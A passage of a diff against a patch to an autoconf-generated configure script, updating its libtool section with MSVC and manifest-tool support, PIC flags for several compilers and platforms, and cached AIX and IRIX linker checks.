-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7926,6 +8423,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8091,7 +8590,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8180,7 +8680,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8478,8 +8978,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8645,6 +9143,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8707,7 +9211,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8764,13 +9268,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8831,6 +9339,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9181,7 +9694,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9280,12 +9794,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9299,8 +9813,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9318,8 +9832,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9365,8 +9879,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9496,7 +10010,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9509,22 +10029,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9536,7 +10063,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9549,22 +10082,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9609,20 +10149,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9683,7 +10266,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9691,7 +10274,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9707,7 +10290,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9731,10 +10314,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9813,23 +10396,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9914,7 +10510,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9933,9 +10529,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10511,8 +11107,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10545,13 +11142,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
